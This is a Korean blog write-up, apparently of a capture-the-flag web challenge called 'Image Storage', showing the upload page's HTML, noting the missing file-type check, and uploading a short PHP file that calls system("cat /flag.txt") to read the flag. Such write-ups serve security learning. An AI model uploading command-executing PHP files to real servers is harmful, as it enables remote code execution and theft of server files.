문제 설명
사진을 업로드하는 용도로 보이는 사이트.
List 탭에 들어가면 url만 list.php로 바뀌고 화면엔 아무 것도 뜨지 않는다. 업로드된 사진이 없어서인 듯.
Upload 탭에 들어가면 이렇게 파일을 업로드할 수 있는 버튼들이 있다.
파일 업로드 취약점을 찾아서 푸는 문제이기 때문에 해당 페이지의 소스코드를 확인해 본다.
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
php로 작성된 소스코드이다.
파일 업로드 목적으로 만들어진 페이지인데, 소스 코드를 훑어 보면 파일 형식에 대한 별도의 제한이 없다는 것을 확인해 볼 수 있다.
그렇기 때문에, 문제 어딘가에 숨어 있을 flag.txt에 접근하는 텍스트 파일을 만들어 php파일 업로드하면 플래그를 획득할 수 있을 것같다.
php 코드는 아래와 같이 작성했다.
<?php
system("cat /flag.txt");
?>
서버의 Upload 탭에서 업로드를 시도해 봤다.
업로드 버튼을 누르면 우선 이렇게 표시되는데, 처음엔 실패인 줄 알고 조금 당황했지만 List 탭에 들어가 보면
이렇게 클릭할 수 있게 php 파일이 생성된 걸 확인해 볼 수 있다. 이제 이걸 클릭하면
플래그 획득 성공!
'SWUFORCE > 워게임 풀이' 카테고리의 다른 글
[Dreamhack] whatsdifferent (misc) (0) | 2024.08.06 |
---|---|
[Dreamhack] littlevsbig (misc) (0) | 2024.08.06 |
[wargame.kr] login filtering (web) (0) | 2024.07.16 |
[wargame.kr] fly me to the moon (web) (0) | 2024.07.16 |
[Dreamhack] simple_sqli_chatgpt (web) (0) | 2024.07.02 |